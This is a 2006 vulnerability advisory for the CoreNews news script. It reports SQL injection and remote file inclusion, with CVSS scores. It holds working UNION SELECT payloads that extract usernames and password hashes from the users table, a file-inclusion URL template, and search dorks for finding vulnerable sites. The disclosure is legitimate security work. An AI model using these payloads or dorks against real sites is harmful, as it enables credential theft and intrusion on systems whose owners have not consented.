CoreNews <= 2.0.1 Multiple Remote Vulnerabilities.

Risk: High
Local: No
Remote: Yes
CWE: CWE-Other

CVSS Base Score: 7.5/10
Impact Subscore: 6.4/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

--Security Report-- Advisory: CoreNews <= 2.0.1 Multiple Remote Vulnerabilities. --- Author: Mustafa Can Bjorn "nukedx a.k.a nuker" IPEKCI --- Date: 21/04/06 21:43 PM --- Contacts:{ ICQ: 10072 MSN/Email: nukedx (at) nukedx (dot) com [email concealed] Web: } --- Vendor: CoreNews ( Version: 2.0.1 and prior versions must be affected. About: Via this method remote attacker can inject arbitrary SQL queries to icon_id and userid parameters in preview.php Also loginned person can easily include arbitrary files and execute command via CoreNews, because the show parameter in index.php did not sanitized properly you can found vulnerable code in index.php at line 201. So it can be easy for remote attacker to login system by using SQL injection and got users hashed password and load file via this users account. Level: Highly Critical --- How&Example: SQL Injection : Needs MySQL > 4.0 GET -> http://[victim]/[CoreNewsDir]/preview.php?userid=[SQL] GET -> http://[victim]/[CoreNewsDir]/preview.php?icon_id=[SQL] GET -> http://[victim]/[CoreNewsDir]/preview.php?userid=[SQL]&icon_id=[SQL] EXAMPLE -> http://[victim]/[CoreNewsDir]/preview.php?userid=-1/**/UNION/**/SELECT/* */null, concat(2022,login,20223,password,2203),null,null,null,null/**/FROM/**/co renews_users/* EXAMPLE -> http://[victim]/[CoreNewsDir]/preview.php?icon_id=-1/**/UNION/**/SELECT/ **/0,password,login /**/FROM/**/corenews_users/* And you can use both SQL example in same time. with this examples remote attacker can leak speficied users login information from database. Remote File Inclusion : Needs logged in to system and allow_url_fopen set 1 in server configuration. GET -> http://[victim]/[CoreNewsDir]/?show=[FILE] EXAMPLE -> http://[victim]/[CoreNewsDir]/?show= --- Timeline: * 21/04/2006: Vulnerability found. * 21/04/2006: Contacted with vendor and waiting reply. --- Exploit: --- Dorks: "powered by Corenews 2.0.1" , inurl:/corenews/ , inurl:/corenews2/ --- Original advisory can be found at:

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